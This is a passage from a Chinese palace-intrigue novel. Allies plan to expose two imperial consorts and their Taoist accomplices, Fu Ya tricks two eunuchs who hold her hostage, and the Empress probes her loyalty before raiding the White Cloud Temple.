“哎哟,别……”胡奉玄讨饶,“心肝儿,若是废了我的法器,我还有什么法力跟你……恩?” 话语污秽不堪,崔抱月捂着耳朵,转过身去。 殊贵妃打了胡奉玄一巴掌:“少来!我同你说正经的——你要真有法力让我有了身孕,那我就能抢在姐姐头里生下个皇子,到时候我把她跟你师兄的事揭穿了……哼!” 胡奉玄道:“法力我自然是有。不过,我师兄是皇上新封的三清天师,现在是红人儿了,你去揭穿他?不怕他反咬咱们一口?咱们的事,他和你姐姐也知道啊。” 殊贵妃冷笑:“你师兄是我弄进宫去的,是我引见给皇上的。我能把他捧成神,也就能把你捧成神。再说,那时候我是真有孕,姐姐是假有孕,皇上信谁?” 胡奉玄大喜,在殊贵妃身上上下其手,道:“心肝宝贝儿,咱早该这样做,就不会白白便宜我师兄那么久了。” “你懂什么!”殊贵妃笑道,“我还在等我姐姐替咱们的孩子办一件大事儿呢!” “什么事?” “太子。”殊贵妃阴阴地道,“姐姐的肚子还没着落,就已经忙不迭地想除掉太子了。咱们就等她把太子除掉了,再来个‘螳螂捕蝉,黄雀在后’,以后这禁宫里……那就是我的天下了……” “那也就是咱们的天下了!”胡奉玄笑着。 邱震霆说到这里,在场诸人无不吃惊。 “后来呢?”程亦风问。 “后来?一对狗男女还能搞出什么好事来?”邱震霆道,“老子再偷听下去,还怕烂了耳朵呢!” 程亦风知道没说清楚,邱震霆会错了意,自己也老大不好意思,道:“现在殊贵妃还在那白云观?” “俺走时还在。”邱震霆回答,“所以俺才叫程大人快点儿想法去围住他们。这一对狗男女——嘿,再加上丽贵妃和那妖道,这回天下可要清净啦!” 程亦风沉吟:“只怕抓了他们,他们不肯招认。丽贵妃和那胡天师,也可以把事情推得一干二净……” “他们推不了!”邱震霆道,“有崔姑娘盯着呢!” “崔姑娘?”辣仙姑早先听大哥称呼崔抱月,一口一个“婆娘”,不知何时竟改了口。 邱震霆浑然不觉,只道:“俺们后来听到殊贵妃和那牛鼻子说,为免丽贵妃起疑心,抢来的那些姑娘们还得要照样送进宫里来。崔姑娘就是冲着救人去的,当然不肯看着。但是俺告诉她,乱打一气屁事也办不成,而且,只救了这些姑娘却不扳倒丽贵妃和那妖道,他们还会从旁的地方找姑娘去糟蹋。崔姑娘问俺有啥办法。俺说:‘没听那婆娘说要把姑娘都扮成宫女带回去么?你等她们装扮的时候,混进去扮成其中一个,到宫里揭穿丽贵妃的事儿!’崔姑娘想了想,说,这主意好,就照办啦。” 这主意果然不错!程亦风道:“她已经混进去了么?” “那是!”邱震霆道,“殊贵妃不是带了个丫头跟着么?那个宫女也不是什么好东西,跟个小道士打情骂俏。崔姑娘盯着他俩,不多久就见他们进了太极殿。跟着,变戏法似的就带出五、六个姑娘。也不知用的什么招儿,个个都跟行尸走肉似的。小道士带她们到后门口,套了辆车,那宫女就跟车下山去了。崔姑娘就是这时候混到车上的。” “那她就已经进了宫?”程亦风问。 邱震霆点头:“宫女走得早。殊贵妃还在那儿风流快活呢。俺是守到天黑才赶回来报信的,算起来,那些姑娘应该已经到宫里了。” 程亦风皱着眉头:禁宫中这么多屋宇,不晓得崔抱月到了何处?她虽是个女中丈夫,但是只身潜入虎穴,实在也太冒险了。 可公孙天成却在那边拊掌笑道:“好,好!邱大侠的计策真是好!为此当浮一大白!” 邱震霆不懂这文绉绉的话:“先生,你说什么?” 公孙天成笑道:“哎呀,老朽忘乎所以,又掉起书袋来了——老朽是说,你的计策妙极了,应该喝一杯!” “现在喝?”邱震霆道,“现在该去抓殊贵妃啦,抓着了再喝,喝一坛都成。” “不。”公孙天成道,“让她快活去。捉奸在床又不是什么体面的事儿,值得咱们去做么?再者,咱们这里都是朝廷命官。俗话说,清官难断家务事,这皇上的家务事,就更加难断了。还是让皇上自己去断吧。” 邱震霆不解,道:“皇上要是能断他的家务事,也就不会搞成现在这乌烟瘴气的样子了。俺素来就不怕皇帝——皇帝砍老子的脑袋,老子也是这么说。” 公孙天成道:“皇上的家务事又不一定要皇上断——普通人家里,若是小老婆出去偷汉子,大老婆一定最积极想去抓了,是不是?” “那可不——”邱震霆说着,忽然一拍大腿,“呵,俺明白了!让皇后去抓——不过,皇后能斗得过他们么?俺是不认识皇后的,不过,她要是有本事,丽贵妃、殊贵妃这两个贱人也不会这么嚣张啦——” 公孙天成哈哈一笑:“老朽又要掉书袋了——邱大侠可知道‘引而不发’么?” 邱震霆当然摇头。 公孙天成道:“你平日里打猎,是要看准了时机才放箭的吧?皇后治理后宫也是一个道理。今天她痛骂丽贵妃,邱大侠没看见,真是可惜。” 程亦风也想起了早先的情形——他并不知道皇后是怎样一个人,印象里仿佛恬淡安静,不怎么跟人计较,今天对丽贵妃的几句斥责,倒让他吃了一惊。 邱震霆搔了搔脑袋:“就算皇后是个厉害的女人,这时候要去跟她通报,折腾完了,恐怕殊贵妃早跑了!” “不急。”公孙天成道,“有道是,天作孽犹有恕,自作孽不可活,她跑了初一难道还能跑十五?况且现在她们姐妹正闹内讧,这几个恶人心里都有鬼,活像是相互咬着尾巴的一群老鼠,而崔女侠就像是闯进鼠群的一只猫——这相互相猜忌的老鼠们见到了猫,不会想怎生对付,而是挖空心思要找出来:到底是谁引来了猫——他们阵脚大乱,咱们就正好把他们一网打尽。” 这比喻虽然巧妙,但邱震霆还是有些怀疑:“就怕老鼠太多了,崔姑娘这只猫招架不来呢!” 公孙天成点头:“邱大侠所虑不无道理,所以,咱们现在得找一个合适的人去把此事报告给皇后。尽快让皇后来把这群耗子消灭。” 邱震霆道:“那还不简单,崔姑娘不是都已经进宫了么?” 公孙天成摇头:“崔姑娘进了宫能不能找着北还说不准呢!而且以她那性格,多半是想自己去取妖道的人头,拦凤辇告状这种事,似乎不是她的作风。而且,咱们得找一个皇后信任的人——程大人,你看符小姐怎么样?” 程亦风想了想:还就只有符雅了。 33. 第 33 章 程亦风去找符雅。车子几乎是追着晚霞的,追不上,天渐渐地黑了下来——这真是个暧昧尴尬的举动,他一路走,一路觉得不妥。叫了门之后,见门子疑神疑鬼地看着自己,更加恨不得挖个地洞钻进去。但很快符雅就自己迎了出来,道:“程大人想来有要事,符雅就不跟你客套,在你的车上谈,如何?” 程亦风求之不得。二人上了车,他就把事情的经过向符雅合盘托出,也将公孙天成的计划具实以告。 “就是求我去皇后娘娘跟前‘搬弄是非’了?”符雅笑道,“怎见得我就能胜任?” 程亦风道:“公孙先生这样神机妙算的人物,前思后想也只想到符小姐一个人,那可不就只有符小姐能当此大任了么?” 符雅抿嘴一笑:“哦,原来是公孙先生荐的……” 她虽笑,但语气似乎并不十分畅快。程亦风不知怎么的,赶紧加上了一句:“程某心里想着,也非符小姐不可呀!” 符雅这才展颜笑道:“承大人看得起,符雅若不办好这差事,可没脸见人了。” 程亦风也笑笑:“小姐聪慧过人,世上还有能难倒小姐的事?” 符雅偏过头去:“大人别说,还真有一样。” “何事?”程亦风很自然地问道,“程某可能效劳么?” 符雅笑着望了他一眼:“嘻,大人还真容易上当——这件事我现在还没想好,不过大人既然答应要帮我,那等我要帮忙的时候,大人可别忘了今晚在车里说的话。” 程亦风愕了愕:“那是自然。” 符雅道:“大人稍待片刻。”便下了车,去和门子说话,不时,又回来了,道:“大人,上宫里去吧。” 程亦风一呆:“就现在?” 符雅道:“是啊。你看我这记性——我好像又丢了一把扇子在宫里,得连夜回去找呢!” 程亦风知她是找个理由回去见皇后,心中不胜感激,但却不知要如何表达,只好吩咐车夫上路。一路默默无话。 到了宫门口,符雅就与他告别,自己上前去和当值的侍卫说话。她平日时常陪在皇后身边,就像皇后认的干女儿一般,有进出宫门的腰牌,侍卫们自然不多盘问,就放了她进去。只在她身后窃窃了一句:“咦,那不是兵部程大人的车子么?” 符雅只当没听见,落落大方向侍卫要了盏灯笼,独自朝里走,一边走就一边盘算着下一步如何行事——程亦风一介书生,连官场的规则都不知道,哪里晓得后宫的种种?他以为到皇后跟前将白云观的事“具实以报”是件那么简单的事么? 符雅九岁选入宫做公主伴读,那时母亲就训诫过:在后宫里,大多数时候每一句话的背后都有其他的目的,人们习惯了去揣测,所以当你明明没有目的时,别人也能误会出些目的来……皇后、丽贵妃、殊贵妃,这争斗的旋涡岂可以轻易靠近的?况且这天白天刚发生过凤凰儿的事……接下那个差事时自己的不情愿,皇后应该看得一清二楚吧? 唉,这当儿……这当儿叫她怎样既把事情办好,又全身而退呢?想来想去,没个主意。 路过一处宫房,小太监们没事了,都在赌钱,吆喝声嬉笑声,阵阵传来。合上眼,自由而快乐的感觉近在咫尺,然而又远在天涯。 去过许多不同的地方,亲历过许多不同的风俗,遇到多许多不同的人,最后还是要回到故国,回到家乡,回到最初让人心动的那个人身边。可是,故国已经改变,家乡物是人非,那个人……就像此刻的感觉一样,在咫尺,又在天涯。 然而,除此之外,难道她还有可牵挂的吗?还有值得去冒险的吗? 那就上坤宁宫去吧,她想,随机应变。于是,就举步朝那边走。而就这个时候,冷不防小巷道里蹿出了两个人来,将她的嘴一捂,腰一抱,拉进了黑暗之中。 符雅吓得头脑“嗡”的一下,灯笼摔在地上,燃成一团火,借着这火光,她才看清绑架自己的人——正是白天在东宫里将自己和凤凰儿出卖给丽贵妃的李诚。再看李诚身边,还有一个放风的同伙,就是东宫里的另一个内奸王忠。 坏了!她感觉自己背上的冷汗涔涔而下:皇后下令在宫中通缉这两个人,看来他们豁出去了! 李诚冷冷地,道:“符小姐,咱们兄弟若不是走投无路,也不会干出这出卖主子的事。是你把咱们逼上了绝路。如今冤家路窄,你撞上咱们,那就只能算是老天有眼了。” 王忠倒胆小些,上来拉李诚:“你疯了么?咱们明儿一早跟着泔水车就能混出宫去,你现在绑了符小姐,岂不是找事儿?” 李诚道:“咱们要躲进泔水车,就一定要去御膳房。可是,汪总管已经交代了宫里各处,要拿咱们,咱们到御膳房一露脸,不就正好被抓了?” “你是要她……帮咱们?”王忠指指符雅。 李诚点头,又对符雅道:“符小姐,你要是不答应,咱们兄弟反正没活路了,拉上你赔命也不算吃亏。” 符雅这时根本就没有别的选择,只有点头。李诚“呼”地一下,亮出一把小刀来:“符小姐,反正咱哥俩也没退路了,什么都顾不上了。你要是敢玩花样,咱就这么——”他作势一捅,顶在符雅心口:“明白了没?” 符雅又点点头。 李诚就道:“好,那我放开你,不许叫,不许跑,乖乖带咱俩去御膳房。” 符雅依然只能点头。李诚便松开了她:“走吧。” 于是,她在前,李、王二人在后,一路上御膳房来。还不到跟前,就有太监认出她来了,巴巴儿地迎了上来:“哎呀,符小姐,莫不是皇后娘娘这时想吃消夜,随便差遣个人就行了,还劳您亲自来跑一躺么?您这份孝心哪……” 符雅识得这是御膳房的副总管金万强。但李诚与自己靠得很近,她不敢呼救,即笑道:“金公公莫要给我戴高帽子,皇后娘娘照顾我,我孝敬她那是应该的。娘娘说要吃馄饨,鸡心馅儿的,怕是有些麻烦哩。” 金万强道:“不怕,不怕。我多找几个人来做——那些猴崽子们,闲下来就赌钱了,忙些倒好——我们这里有好茶,符小姐不嫌弃,左右要等,就吃一点?”说时,要把符雅朝自己房里让。 符雅灵机一动,道:“那就麻烦金公公了。”便快步跟他走了进去。李诚、王忠不及阻止,也只有跟着。 御膳房并不是一间大厨房,也是个宫院儿,厨房库房在后,前边有太监们住的地方。总管的房间也是窗明几净的。金万强丝毫没觉察出不妥来,恭恭敬敬地把符雅领到自己房里,上了茶,亲自去催点心。符雅打量那房间,是内、外套间,内间门上还有个精巧的小锁。她自幼随父亲走南闯北,见过的稀奇玩意儿多了,一看就知道是西洋进贡之物,虽然小巧,但比中原的锁结实,没有钥匙绝对挣不开。她心里一喜:这可有了脱身之法了。 于是她假装漫不经心朝里间踱去。李、王二人寸步不离地跟着进来。“符小姐,可不要耍花样呀!”李诚警告。 符雅随便指着一架屏风道:“我只看看那个。”便走到了跟前,装模作样上下瞧个不停。李、王二人因为命悬一线都紧张万分,看她没有要跑的意思,就开始合计自己的事——究竟怎样悄悄溜到后面,怎样躲进泔水桶……如此如此,这般这般。 符雅留心着两人的动静,看他们不太注意自己了,就缓缓地朝门口移去。快到时,见他们浑然不觉,便猛地一闪身,夺门而出,跟着以最快的速度带上了门,销上了锁,“喀嚓”,把李、王二人关在了里间。 两人这时反应过来,已迟了。里间没有窗户,门是唯一的出路。他二人都扑上来欲砸门,可是想到一旦动静大了,就会把金万强引来——其实金万强来是迟早的事,符雅脱身,能不立刻求救么?两人一时都泄了气,瘫在门边等死。 然而门外却传来符雅的声音:“二位公公莫急,符雅有几句话刚才就想跟你们说了,但是怕你们正慌张,听不进去——其实皇后娘娘要汪总管拿你们去,不是要办你们,而是想找你们问问话。” 李诚怒道:“你当我们是三岁毛孩子么?丽贵妃想要陷害太子,咱们兄弟帮了她,皇后找到咱们,不扒皮抽筋才怪。咱们兄弟已被你算计了一次,现在又被你算计了一次,算是栽在你手里了,你还诓我们做什么?” 符雅道:“对呀。我诓你们做什么?你们现在被我锁起来了,骗你们对我有什么好处?当然是因为皇后娘娘真的有话要问你们,我才苦苦相劝啦。要不然我早嚷嚷着叫人来抓你们了。” 王忠听得有些动心,道:“真的?” “别信她!”李诚道,“这宫里谁不知道符小姐的嘴厉害?符小姐,你少胡说八道了——皇后娘娘要是真是只找咱们去问问话,你就嚷嚷出来叫人抓了咱们,还不是抓去问话么?何必在这里噜苏?” 符雅道:“可不是!你这话问得好。你知道我为什么不嚷嚷么?因为要找你们的不止皇后娘娘一个。她老人家是找你们去问话,可是别人找你们那就说不准了。” “还有谁?”王忠不解。 李诚聪明些,结果就钻进了符雅专门给聪明人设的套子里:“你说丽贵妃?丽贵妃要杀咱们灭口?” 符雅道:“那可不?你方才自己也说了,丽贵妃想要陷害太子,如今被皇后娘娘察觉了,她要想保全自己就要封你们的口。皇后娘娘找你们去,那是救你们。” 李诚没有就答话,想了想,才道:“不行。你鬼主意多得很,我们怎么知道你不是……” 才说着,突然“喀嚓”一下,锁又打开了,接着,门也被推开了。两人还不明白发生了什么事,已见金万强跨进了外间,亲自拎着食盒:“符小姐,这馄饨包好了,坤宁宫小厨房里有鸡汤来下么?要是没有……”他愣了愣:“你们两个在里头做什么?” 王忠、李诚都讷讷。唯符雅笑道:“公公别见怪,我方才见你那架屏风很好,就进去多看了两眼,又一时技痒没处解说给人听,就把他两人叫了进来。” 金万强狐疑地看了看王、李二人,不太信,但是又不能和符雅争论,只得笑道:“符小姐折杀奴才了!您什么样的宝贝没见过,稀罕奴才这破屏风?您要喜欢,奴才明儿就给您送过府上去。” 符雅道:“随便看看罢了,岂敢夺人所爱?”说时,又回身招呼王、李二人,道:“还不快把食盒拿着?回去晚了娘娘要责备的。” 王忠忙“哎,哎”地应着,上来接了食盒。李诚也跟着。符雅领二人同金万强告别,又出了御膳房。 两人见她方才不曾在金万强跟前揭穿自己,对她所说的话就信了大半。李诚虽然还存着二心,想要逃跑,却听符雅在前头轻轻说道:“泔水车要是那么容易就能运人出去,偷运其他东西岂不是更容易了?若是那样,各宫的没出息的奴才们偷了个碗啊罐啊的,为什么还头疼万分不知怎么拿出去销赃呢?” 两人听了这话,不得不全然放弃了原先的计划,乖乖跟她上坤宁宫。 到的时候,已经要下钥了。符雅快步上去喊住那关门的太监。那人一愣:“符小姐,你怎么回来了?” 符雅道:“娘娘歇了没?我有重要事。” 那太监道:“没。刚才找了汪总管来问话,汪总管事儿没办好,娘娘正生气。符小姐回来了也好,帮忙劝劝。” 符雅笑笑:“好,我包管哄了娘娘开心——来,关门,上锁。” 王、李二人一怔,坤宁宫大门已在他们背后轰然关闭,两人再想要跑,也没有了退路。李诚怒道:“符……符小姐,你……” 符雅道:“你们别怕,且在这儿跪着。毕竟你们出卖主子,难道还想皇后娘娘上大人似的迎你们不成?我先去和娘娘禀报,回头就传你们去问话。”说罢,自己进了正殿暖阁。 皇后正在榻上歪着,听她把如何被挟持又如何巧计脱身的经过说了一遍,道:“这两个不要命的奴才,连你也敢碰了。看我不把他们乱棍打死!” “娘娘——”符雅拦住,“他们帮丽贵妃做事也不知有多久了,娘娘何不先问问他们,看丽贵妃还有没有旁的奸计……”倘若他们先说点丽贵妃的罪状,自己再将丽、殊二位贵妃和白云观的事合盘托出,方才不显得自己是半夜里专程跑来搬弄是非的。 “哦?”皇后坐直身子,“符雅,这不像是你说的话呀!” 符雅愣了愣:“臣女……不明白娘娘的意思……” 皇后道:“我本意不打算杀那两个奴才,想抓他们来问问话——方才汪福寿来,我就在骂他动静太大,恐怕吓跑了人呢。你这么聪明,连这都猜到了,怎么会不明白我方才那话的意思?” “臣女哪里有本事揣测娘娘的心意……”符雅道,“一时情急,胡乱说的。” “果真?”皇后盯着她,笑了笑,打发身边的宫女:“去,叫外头那两个狼心狗肺的奴才上偏殿里去,找几个人看着,我回头再发落他们。”待那宫女去了,房内只剩下她和符雅,她才又慢条斯理地开口道:“符雅,你说你是入宫时被那两个奴才劫持了——这么晚了,你又进宫来做什么? “是……” 皇后道:“我给你通行腰牌,就是信任你,把你当自己人。符雅,你当得起本宫的信任么?” 不知这一问从何而起,符雅头也不敢抬。 皇后却偏偏命令她抬起头来。“你看着我!”她道,“你是九岁入宫的吧?虽然是找你来做公主伴读,但本宫那时候待你,就好像自己的亲生女儿一般。后来你随着你父亲四处漂泊,咱们有许多年没见,看本宫现在看你,还是好像自己的女儿一般。你待本宫,能不能也像是亲人?” 符雅听这话后面不知有多少层深意,不知要怎样表态才合适,只能磕头道:“娘娘待符雅恩重如山。符雅是娘娘的奴才,不敢妄称亲人。” 皇后笑了一声,似乎是无奈,又似乎带了些阴冷:“奴才还晓得站边儿呢,有句话本宫早就想问你了——在这宫里你站哪一边?” 符雅的心一沉:终于躲不过!她母亲早就说过,这宫里有许多的派别,若哪一派都不站,最后一定会被群起而攻之,死无葬身之地,若各派都沾一点儿,也得不了好下场,若只属一派,那就得确定跟的是最后必胜的一派——而没人能确信自己必胜,直到胜利的那一刻……所以,左也是死,右也是死,最好就是永远离开宫廷——她母亲的确曾以“病重”为由,把女儿接回了家去,远远躲开宫廷十几年。这次,符雅扶棺回京,本来也打算过默默无闻的生活,然而皇后把她招回宫去……那一刻,她知道“站边儿”的问题迟早会出现。今日,终于来了!还是她自己撞上来的——不过,怎么偏偏是今天?皇后发作得有些突兀啊! 见她不答话,皇后走下榻来,盯着她的眼睛:“或者,你是想求本宫放你回去,从此不再进出宫廷么?反正你也不想管那个西瑶姑娘的事,对不对?可是,要是那样,你今天晚上入宫来做什么?” 不能再犹豫了,符雅想,他拜托我来向皇后禀报丽、殊二位贵妃的阴谋,拜托我来求皇后助他们一臂直力,除掉这祸国殃民的奸险小人,我要是再在这里顾虑自己将来能不能过逍遥的日子,就辜负了他对我的信任!当下,她给皇后碰头道:“符雅深夜入宫就是为了向娘娘禀报丽贵妃和殊贵妃背着娘娘做的事。”即将程亦风告诉她的白云观的情形一字不差地说了。 皇后静静地听着,带一丝不可捉摸的微笑:“哦,这事你打算本宫怎么处理呢?” 符雅道:“她二人欺君枉上,□□后宫,更意图混淆皇室血统,娘娘不可轻饶。而胡喆和胡奉玄两人蒙蔽皇上,企图和丽贵妃联手陷害太子,罪加一等,请娘娘即刻将此二人交给顺天府法办。” “符雅,”皇后微笑着,“你这话说的一点儿也不错。只是,你不会是叫本宫就这样去抓人吧?如何人赃并货,如何让他们抵赖不得,如何让皇上不再受美色迷惑,这得要周详的计划才行。你有什么好主意?” 符雅呆了呆,皇后下旨叫她献计,她不能不献。思考了片刻,道:“依臣女看,丽、殊二位贵妃已然起了内讧,娘娘要将他们一网打尽,可利用这一点。娘娘近日无事,不妨去北山郊游,也去看看这白云观究竟是怎样一处所在。 皇后挑了挑眉毛,不置可否,示意她继续往下说。 符雅道:“娘娘此去,撞上了不体面事,就可当场拿下,没撞上,也不怕这消息不传到某些人的耳朵里。殊贵妃知道自己被人出卖了,一定从她的福瑞宫开始盘查,查不出端倪来,就要怀疑到丽贵妃的身上。而丽贵妃那里,娘娘若能把她叫殊贵妃偷运进来的民女找着,丽贵妃和胡天师不见了姑娘,恐怕要找殊贵妃对峙。一来二往,她二人只要斗了起来,娘娘就可坐收渔人之利。” 皇后眯起了眼睛:“符雅,本宫就知道你不止那点儿讲故事的才干。你好好地跟在本宫身边,本宫是不会亏待你的——本宫明天就上龙源山转转去。”说时,携了符雅的手,带她到榻上与自己一同坐。 符雅做出受宠若惊之态,心里却想:这是终于站到皇后一派来了,其实外人看她,早就是皇后一派的了,只是她自己心里并不承认,如今就算做到名副其实吧!只要能把程亦风交代的事办妥当了…… “娘娘,”她问道,“您看要怎样去找偷运进宫的民女呢?或者王忠、李诚那里有什么关于丽贵妃的线索,现在审审……” “不着急。”皇后笑着道,“他们还能飞了么?慢慢审不迟。反正你已进了宫来,夜深也不用回去了,就陪本宫说说话。这么多年,本宫身边的人换了几茬儿了,想找一个说说旧事的人都没有。你虽然很多年不在宫里,但总算是个旧人。你小时候在宫里的事,还记得多少?” 符雅觉得皇后这夜所有的话都暗含深意,不敢随便回答:“符雅不知娘娘指的是什么事。” 皇后幽幽地:“比方朝阳公主,素云公主……唉,你在宫里的时候,她们还没正式册封呢……现在都已经不在了……还有……韩国夫人……你还记得么?” 符雅机灵灵地打了个冷战:“不……不记得。” “怎么会?”皇后道,“你来选伴读的时候,韩国夫人还在吧?说实话,那会儿这么多小姑娘里,你不是最讨喜的一个,其他的那些公主也不怎么爱和跟你玩,就是朝阳和素云两个跟你投缘,还是韩国夫人说了句话,才把你选上的呢!” 符雅见撒谎不成,只有承认道:“娘娘这样一说,臣女就想起来了。当时韩国夫人交代臣女,素云公主体弱,要臣女好好照顾她。” 皇后点头道:“可不是,多可爱的一个孩子,就是身体不好,她姐姐一走,她就……” 符雅静静地听着,不插话。 可是皇后突然转过头来,仿佛漫不经心,道:“说起来,韩国夫人出事的时候,你也在吧?” “臣女……”符雅只觉刺骨的凉意像是怪兽伸出的爪子,正将自己攫住。 皇后淡淡地笑着,好像只是想起一件平常的往事:“我记得那时候你也在船上,不过可巧抓住了一块木版,被太监们救了起来,其他的人……似乎有好几个宫女也都淹死了吧?” 符雅低着头:“臣女……臣女那时吓坏了,记不清楚。” 皇后道:“也难怪你。那情形,换了本宫也早魂飞魄散了……只是,本宫记得那天是风和日丽的,不晓得怎么就吹来那阵怪风……你在船上,难道一点儿都没印象吗?” “没……没有。”符雅回答。 “是么……”皇后的语气里并没有许多失望,“唉,本宫也不是故意要提起这件事来。只是宫里有很多闲言闲语,关于韩国夫人的死……尤其是,那日船上生还的宫女不是疯了,就是莫名其妙的死了,在岸上看着的人——圆妃,慧妃,并几个美人,都一个接一个地去世……朝阳和素云也不在了……那时满宫廷都是传闻,说……你知道说什么吗?” “臣女……不知道。”符雅声音微微打颤。 “不知道就算了。”皇后道,“现在再提也没意思——当年所有有关的人,还活着的,除了本宫就是你,传闲言闲语的人传得多了,也就没意思了。咱们都把这事忘了吧。” “臣女……本来就不记得。”符雅道,“宫里无聊的传闻,还能把娘娘怎么样吗?” “自然是不能。”皇后笑道,“本宫不过有时深夜无聊随便想想罢了——现在你站到本宫这一边来,本宫大概连想也不用想了——你可千万不要离开本宫呀!” 难怪!符雅心里一个声音:难怪自己这样一个普通的女子,漂泊在外十几年,一回京,就突然被皇后招进了宫,又突然成了她身边的红人。难怪非要自己站到她那一边……原来是为了当年……当年的事,她真的已经忘记了。她再也不愿想起了。可是莫名地,她感觉冰凉的湖水正把自己淹没。 “给娘娘解闷儿,是臣女该当的。”她勉强笑道,“娘娘什么时候夜里睡不着了,随时招臣女进宫来,臣女就给您说笑话。” “你有孝心,本宫知道。”皇后道,“今天表了忠心,本宫就更高兴了。太晚了,你就在偏殿里睡吧。” “是。”符雅其实早就坐不下去了,被那种深入骨髓的寒冷折磨,非得立刻缩进被子里才行。她立即起身告退。 “是偏殿西面那间房。”皇后补充道,“东面那间有人住了——陈国夫人在里头呢。” “知道了。”符雅应,没觉得皇后这句叮嘱有什么特别。可退到门口时,心中忽然电光火石地一闪:啊,陈国夫人!不就是崔抱月么!她怎么会到了坤宁宫里?是她自己来找皇后的?还是发生了什么别的事?或者……无论是怎样,看来皇后早就知道白云观的事,也早就猜出了自己的来意,方才一定要叫自己说出深夜入宫的理由,就是考验考验自己是否站在她那一边……皇后只怕是连对策也想好了,就等着铲除丽、殊二位贵妃了,在此关键时刻,她身边容不下半个有二心的人……难怪逼着符雅今夜就要“表忠心”! 方才若有半点忧郁,若有丝毫隐瞒,加上当年韩国夫人的旧事,恐怕符雅这时已经小命难保。 究竟是该庆幸自己走运,还是该悲叹自己一早就被算计了? 她无法掩饰这惊讶,怔怔地看着皇后。 皇后却笑笑:“去休息吧。明天去龙源山郊游,顺倒上白云观拜拜神。你和陈国夫人一起陪着来吧。” “是……是……”符雅虽然知道皇后并不是一个简单的人物,但委实猜不出这女人还有多少厉害的“后着”。 皇后看她那脸色煞白的样子,又摇头笑了笑,道:“去休息吧。你只要记住本宫的话——好好儿的帮本宫做事,帮太子做事,本宫是不会亏待你的。”顿了顿,忽然又换上了玩笑的语调:“你是先帝爷景隆七年生的吧?” 符雅一愣,不知她是何意。 皇后喃喃地:“景隆七年……哎呀,年纪可不小了呢——我看你和程大人走得挺近,要不要本宫给你做个媒?” 符雅的脸“腾”地就红了:“娘娘说哪里话呢!符雅走了!” 崔抱月是怎么到了皇后那里的,她自己也想不明白,第二天符雅同她一起陪皇后“出游”龙源山,两个年轻女子同一辆车。当符雅问起她事情的经过时,这位仗义的女侠客只说:“大约是碰巧吧。” 她说自己本有心半途把姑娘们救了,只身进宫去斩杀妖道,但是姑娘全都被人施了迷药,不知何时才能清醒,她只好按照邱震霆的原计划行事。就跟着车子回到凉城,接着又进了宫,一路上侍卫看到车前坐的是福瑞宫的大宫女,知道殊贵妃是皇上面前说一不二的红人,便不检查也不盘问,直接放行。崔抱月正想,不知是到哪一处宫房,什么时候会见到妖道胡天师,车子就突然被拦住了,听外头有人笑道:“月娥姐姐好兴致,又出去郊游了?” 殊贵妃的大宫女月娥道:“梁公公好别损我了,我哪里能去郊游?无非是急着要出宫去办事,娘娘恩准我借她的车来使——我这狐假虎威呢!” 那梁太监道:“是么 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“就是这样巧。”崔抱月道,“有皇后娘娘做主,就可将这群贼人一网打尽,若是单我一人,便只能去杀了妖道而已。” “崔姑娘的侠义心肠实在叫人佩服啊。”符雅客套地说了一句,但心中却想:梁太监,应当就是坤宁宫的梁高,是皇后的心腹,行事一向稳重周全,决不会冒冒失失去拦殊贵妃的车子。他此一举动必然是出于皇后的授意。然而皇后若没有十足的把握能抓到违禁之物,也不会轻易和殊贵妃明着作对——皇后当时是想抓什么呢?她应该还不知道白云观的事,否则早在丽贵妃大闹东宫的时候,就把她揭穿了……或许是注意到别的什么,昨日歪打正着?不论如何,看这情形皇后在殊贵妃那里早就布有眼线!丽贵妃那里或许也有。这一个后宫,虽然看似是丽、殊二妃的天下,但其实一切都还掌握在皇后的手中。 车驾出了宫城,并没有侍卫跟随。到了内城门口,才有卫队扈从上来,看服色,并不是禁军,而是顺天府的人。符雅好生奇怪——带了顺天府的兵,就是要去抓人了,难道吃准了殊贵妃又在白云观中?可那就应该带宗人府的人也来才对呀!她不敢多问——在皇后面前,不可行错一步,不可说错一句。 就到了龙源山,一径行至白云观。车子停下,符雅更加大吃一惊——顺天府的人已把白云观围了个水泄不通。皇后一下车,顺天府尹就迎了上来:“娘娘,那拐卖民女的道士胡奉玄已经拿下了。” 皇后道:“好,不必带来见我,直接押回顺天府。丢失女儿的乡民你找齐了没?” 府尹道:“都找齐了,就在太极殿里等娘娘。” 皇后点点头,叫符雅和崔抱月:“你们两个同我一起来。” 进到观中,果然乡民们都在。皇后便让把前日救下的姑娘都领了上来,同各自的父母相认,道:“姑娘们被拐卖到宫里,其实是一进宫门就被拦住了,本宫可以担保,决没有被人损害名节。你们若是信本宫的,可以各自领回家去,若是怕旁人议论,耽误女儿终身的,本宫可以把你们的女儿留在身边,将来给指一户好人家。愿意如何,本宫都成全你们。” 乡民们见到女儿完好无损地回来,都欣喜不已,无不对皇后感恩戴德。皇后只笑道:“你们莫要谢本宫,这都是陈国夫人——这位崔女侠的功劳。”说时,将崔抱月让到了前面。众乡民本来就得崔抱月“路见不平,拔刀相助”,听皇后这样说,也就不疑有他,纷纷欢呼道:“崔女侠真是活菩萨!” 崔抱月倒有些不好意思了,心知这其中有一半的功劳是杀鹿帮的,举目四下里寻找他们的所在,却不知诸人隐身在何方,唯听皇后在她耳边轻轻地说了一句:“崔姑娘,本宫不想把皇室的家丑传扬出去,丽、殊二妃本宫自会在宫中处置,还请你不要在外头提起此事,可好?” 崔抱月愣了愣,觉得这也并非不情之请,且皇后处事妥当,赏罚分明,她相信恶人一定会被绳之于法。即道:“娘娘放心,民女知道了。” 皇后道:“那就谢谢你了——本宫这便要回去处理丽、殊二妃,这几天宫里会很不太平,本宫便不留你住了。” 崔抱月道:“娘娘有心,民女也要去操练民兵呢!” “哦?果真是巾帼不让须眉的女英雄啊!”皇后笼统地夸赞了几句,便又转身出了白云观,吩咐回宫。前后停留了还不到一盏茶的功夫。 符雅依旧是什么也不敢询问,默默地上车,默默地上路,跟着皇后回到了宫里。一进坤宁宫的门,皇后就吩咐:“王忠和李诚呢?给本宫带过来!” 下面人应声办事,不时,就把两个一宿没合眼吓得面无人色的太监给拉了上来。二人都有气无力,口中蚊子哼哼似的说:“娘娘饶命!娘娘饶命!” 皇后道:“要饶你们恐怕不容易,不过免了死罪总可以。就看本宫问你们的话,你们答得如何了。” 两人都不住地碰头,直说“老实交代,决不欺瞒”。 皇后就问:“你们出卖太子给丽贵妃,这事是你们自己提出来的,还是丽贵妃来找你们的?” 王忠赶紧磕头:“奴才们自己怎么会起那心思?自然是景阳宫里的人来找奴才们的。知道奴才们手头紧,他说只是帮件无关紧要的小事,奴才们一事鬼迷心窍……” 